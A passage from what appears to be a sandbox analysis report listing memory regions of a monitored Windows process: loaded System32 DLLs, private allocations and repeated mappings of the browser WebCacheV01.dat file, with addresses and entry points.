filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 1248
start_va = 0x7ffb24610000
end_va = 0x7ffb24640fff
monitored = 0
entry_point = 0x7ffb24617d10
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 1249
start_va = 0x7ffb24880000
end_va = 0x7ffb2489efff
monitored = 0
entry_point = 0x7ffb24885d30
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 1250
start_va = 0x7ffb24bc0000
end_va = 0x7ffb24bcafff
monitored = 0
entry_point = 0x7ffb24bc19a0
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 1251
start_va = 0x7ffb24fb0000
end_va = 0x7ffb24fd8fff
monitored = 0
entry_point = 0x7ffb24fc4530
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")
Region:
id = 1252
start_va = 0x7ffb25120000
end_va = 0x7ffb2512efff
monitored = 0
entry_point = 0x7ffb25123210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 1253
start_va = 0x7ffb25130000
end_va = 0x7ffb2517afff
monitored = 0
entry_point = 0x7ffb251335f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 1254
start_va = 0x7ffb25180000
end_va = 0x7ffb25193fff
monitored = 0
entry_point = 0x7ffb251852e0
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 1255
start_va = 0x7ffb251b0000
end_va = 0x7ffb25397fff
monitored = 0
entry_point = 0x7ffb251dba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1256
start_va = 0x7ffb25640000
end_va = 0x7ffb256a9fff
monitored = 0
entry_point = 0x7ffb25676d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 1257
start_va = 0x7ffb256b0000
end_va = 0x7ffb25764fff
monitored = 0
entry_point = 0x7ffb256f22e0
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")
Region:
id = 1258
start_va = 0x7ffb25800000
end_va = 0x7ffb25842fff
monitored = 0
entry_point = 0x7ffb25814b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 1259
start_va = 0x7ffb25850000
end_va = 0x7ffb25e93fff
monitored = 0
entry_point = 0x7ffb25a164b0
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")
Region:
id = 1260
start_va = 0x7ffb25f00000
end_va = 0x7ffb26085fff
monitored = 0
entry_point = 0x7ffb25f4ffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1261
start_va = 0x7ffb26090000
end_va = 0x7ffb261e5fff
monitored = 0
entry_point = 0x7ffb2609a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1262
start_va = 0x7ffb261f0000
end_va = 0x7ffb2622afff
monitored = 0
entry_point = 0x7ffb261f12f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1263
start_va = 0x7ffb26230000
end_va = 0x7ffb262dcfff
monitored = 0
entry_point = 0x7ffb262481a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1264
start_va = 0x7ffb262e0000
end_va = 0x7ffb26331fff
monitored = 0
entry_point = 0x7ffb262ef530
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1265
start_va = 0x7ffb264f0000
end_va = 0x7ffb2658cfff
monitored = 0
entry_point = 0x7ffb264f78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1266
start_va = 0x7ffb26590000
end_va = 0x7ffb266abfff
monitored = 0
entry_point = 0x7ffb265d02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1267
start_va = 0x7ffb266b0000
end_va = 0x7ffb26756fff
monitored = 0
entry_point = 0x7ffb266bb4d0
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 1268
start_va = 0x7ffb267e0000
end_va = 0x7ffb27d3efff
monitored = 0
entry_point = 0x7ffb269411f0
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 1269
start_va = 0x7ffb27d40000
end_va = 0x7ffb27d9afff
monitored = 0
entry_point = 0x7ffb27d538b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1270
start_va = 0x7ffb27e00000
end_va = 0x7ffb2807cfff
monitored = 0
entry_point = 0x7ffb27ed4970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 1271
start_va = 0x7ffb288f0000
end_va = 0x7ffb289b0fff
monitored = 0
entry_point = 0x7ffb28910da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 1272
start_va = 0x7ffb28a50000
end_va = 0x7ffb28af6fff
monitored = 0
entry_point = 0x7ffb28a658d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1273
start_va = 0x7ffb28b00000
end_va = 0x7ffb28cc0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1434
start_va = 0x24c0000
end_va = 0x24c7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000024c0000"
filename = ""
Region:
id = 1446
start_va = 0x24e0000
end_va = 0x24effff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1447
start_va = 0x24c0000
end_va = 0x24c7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000024c0000"
filename = ""
Region:
id = 1448
start_va = 0x24c0000
end_va = 0x24c0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000024c0000"
filename = ""
Region:
id = 1449
start_va = 0x24f0000
end_va = 0x24fffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1452
start_va = 0x24c0000
end_va = 0x24c0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000024c0000"
filename = ""
Region:
id = 1453
start_va = 0x2500000
end_va = 0x2507fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002500000"
filename = ""
Region:
id = 1454
start_va = 0x24c0000
end_va = 0x24c7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000024c0000"
filename = ""
Region:
id = 1455
start_va = 0x2500000
end_va = 0x2507fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002500000"
filename = ""
Region:
id = 1456
start_va = 0x2510000
end_va = 0x2510fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002510000"
filename = ""
Region:
id = 1457
start_va = 0x24c0000
end_va = 0x24cffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1458
start_va = 0x2500000
end_va = 0x2500fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002500000"
filename = ""
Region:
id = 1459
start_va = 0x2510000
end_va = 0x251ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1460
start_va = 0x2500000
end_va = 0x2500fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002500000"
filename = ""
Region:
id = 1461
start_va = 0x2500000
end_va = 0x2507fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002500000"
filename = ""
Region:
id = 1462
start_va = 0x2520000
end_va = 0x2527fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002520000"
filename = ""
Region:
id = 1463
start_va = 0x2530000
end_va = 0x2537fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002530000"
filename = ""
Region:
id = 1464
start_va = 0x2540000
end_va = 0x2547fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002540000"
filename = ""
Region:
id = 1465
start_va = 0x2550000
end_va = 0x2557fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002550000"
filename = ""
Region:
id = 1466
start_va = 0x2560000
end_va = 0x2560fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002560000"
filename = ""
Region:
id = 1467
start_va = 0x2560000
end_va = 0x2567fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002560000"
filename = ""
Region:
id = 1468
start_va = 0x2570000
end_va = 0x2577fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002570000"
filename = ""
Region:
id = 1469
start_va = 0x2580000
end_va = 0x2587fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002580000"
filename = ""
Region:
id = 1470
start_va = 0x2590000
end_va = 0x2597fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002590000"
filename = ""
Region:
id = 1471
start_va = 0x25a0000
end_va = 0x25a7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000025a0000"
filename = ""
Region:
id = 1472
start_va = 0x25b0000
end_va = 0x25b7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000025b0000"
filename = ""
Region:
id = 1473
start_va = 0x39a0000
end_va = 0x39a7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000039a0000"
filename = ""
Region:
id = 1474
start_va = 0x39b0000
end_va = 0x39b7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000039b0000"
filename = ""
Region:
id = 1475
start_va = 0x39c0000
end_va = 0x39c7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000039c0000"
filename = ""
Region:
id = 1476
start_va = 0x39f0000
end_va = 0x39f7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000039f0000"
filename = ""
Region:
id = 1477
start_va = 0x3a20000
end_va = 0x3a20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a20000"
filename = ""
Region:
id = 1478
start_va = 0x3a20000
end_va = 0x3a20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a20000"
filename = ""
Region:
id = 1479
start_va = 0x3a20000
end_va = 0x3a27fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a20000"
filename = ""
Region:
id = 1480
start_va = 0x3a20000
end_va = 0x3a27fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a20000"
filename = ""
Region:
id = 1481
start_va = 0x3a70000
end_va = 0x3a77fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a70000"
filename = ""
Region:
id = 1482
start_va = 0x3a90000
end_va = 0x3a97fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a90000"
filename = ""
Region:
id = 1483
start_va = 0x3aa0000
end_va = 0x3aa7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003aa0000"
filename = ""
Region:
id = 1484
start_va = 0x3ab0000
end_va = 0x3ab7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ab0000"
filename = ""
Region:
id = 1485
start_va = 0x3ac0000
end_va = 0x3ac7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ac0000"
filename = ""
Region:
id = 1486
start_va = 0x3ad0000
end_va = 0x3ad7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ad0000"
filename = ""
Region:
id = 1487
start_va = 0x3ae0000
end_va = 0x3ae0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ae0000"
filename = ""
Region:
id = 1488
start_va = 0x3ae0000
end_va = 0x3ae0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ae0000"
filename = ""
Region:
id = 1489
start_va = 0x3ae0000
end_va = 0x3ae7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ae0000"
filename = ""
Region:
id = 1490
start_va = 0x3ae0000
end_va = 0x3ae7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ae0000"
filename = ""
Region:
id = 1491
start_va = 0x3af0000
end_va = 0x3af7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003af0000"
filename = ""
Region:
id = 1492
start_va = 0x3b00000
end_va = 0x3b07fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003b00000"
filename = ""
Region:
id = 1493
start_va = 0x3b20000
end_va = 0x3b27fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003b20000"
filename = ""
Region:
id = 1494
start_va = 0x3b30000
end_va = 0x3b37fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003b30000"
filename = ""
Region:
id = 1495
start_va = 0x3c90000
end_va = 0x3c97fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003c90000"
filename = ""
Region:
id = 1496
start_va = 0x3eb0000
end_va = 0x3eb7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003eb0000"
filename = ""
Region:
id = 1497
start_va = 0x3ec0000
end_va = 0x3ec7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ec0000"
filename = ""
Region:
id = 1498
start_va = 0x3ed0000
end_va = 0x3ed7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ed0000"
filename = ""
Region:
id = 1499
start_va = 0x3ee0000
end_va = 0x3ee7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ee0000"
filename = ""
Region:
id = 1500
start_va = 0x3ef0000
end_va = 0x3ef7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ef0000"
filename = ""
Region:
id = 1501
start_va = 0x3f00000
end_va = 0x3f07fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f00000"
filename = ""
Region:
id = 1502
start_va = 0x3f10000
end_va = 0x3f17fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f10000"
filename = ""
Region:
id = 1503
start_va = 0x3f20000
end_va = 0x3f27fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f20000"
filename = ""
Region:
id = 1504
start_va = 0x3f30000
end_va = 0x3f37fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f30000"
filename = ""
Region:
id = 1505
start_va = 0x3f40000
end_va = 0x3f47fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f40000"
filename = ""
Region:
id = 1506
start_va = 0x3f50000
end_va = 0x3f57fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f50000"
filename = ""
Region:
id = 1507
start_va = 0x3f60000
end_va = 0x3f67fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f60000"
filename = ""
Region:
id = 1508
start_va = 0x3f70000
end_va = 0x3f77fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f70000"
filename = ""
Region:
id = 1509
start_va = 0x3f80000
end_va = 0x3f87fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f80000"
filename = ""
Region:
id = 1510
start_va = 0x3f90000
end_va = 0x3f97fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003f90000"
filename = ""
Region:
id = 1511
start_va = 0x3fa0000
end_va = 0x3fa7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003fa0000"
filename = ""
Region:
id = 1512
start_va = 0x3fb0000
end_va = 0x3fb7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003fb0000"
filename = ""
Region:
id = 1513
start_va = 0x3fc0000
end_va = 0x3fc7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003fc0000"
filename = ""
Region:
id = 1514
start_va = 0x3fd0000
end_va = 0x3fd7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003fd0000"
filename = ""
Region:
id = 1515
start_va = 0x3fe0000
end_va = 0x3fe7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003fe0000"
filename = ""
Region:
id = 1516
start_va = 0x3ff0000
end_va = 0x3ff7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003ff0000"
filename = ""
Region:
id = 1517
start_va = 0x4000000
end_va = 0x4007fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004000000"
filename = ""
Region:
id = 1518
start_va = 0x4010000
end_va = 0x4017fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000004010000"
filename = ""
Region:
id = 1519
start_va = 0x2500000
end_va = 0x250ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1520
start_va = 0x2520000
end_va = 0x252ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1521
start_va = 0x2530000
end_va = 0x253ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1522
start_va = 0x2540000
end_va = 0x254ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1523
start_va = 0x2550000
end_va = 0x255ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1524
start_va = 0x2560000
end_va = 0x256ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1525
start_va = 0x2570000
end_va = 0x257ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1526
start_va = 0x2580000
end_va = 0x258ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1527
start_va = 0x2590000
end_va = 0x259ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1528
start_va = 0x25a0000
end_va = 0x25affff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1529
start_va = 0x25b0000
end_va = 0x25bffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1530
start_va = 0x39a0000
end_va = 0x39affff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1531
start_va = 0x39b0000
end_va = 0x39bffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1532
start_va = 0x39c0000
end_va = 0x39cffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1533
start_va = 0x39f0000
end_va = 0x39fffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1534
start_va = 0x3a20000
end_va = 0x3a2ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1535
start_va = 0x3a70000
end_va = 0x3a7ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1536
start_va = 0x3a90000
end_va = 0x3a9ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1537
start_va = 0x3aa0000
end_va = 0x3aaffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1538
start_va = 0x3ab0000
end_va = 0x3abffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1539
start_va = 0x3ac0000
end_va = 0x3acffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1540
start_va = 0x3ad0000
end_va = 0x3adffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1541
start_va = 0x3ae0000
end_va = 0x3aeffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1542
start_va = 0x3af0000
end_va = 0x3afffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1543
start_va = 0x3b00000
end_va = 0x3b0ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1544
start_va = 0x3b20000
end_va = 0x3b2ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1545
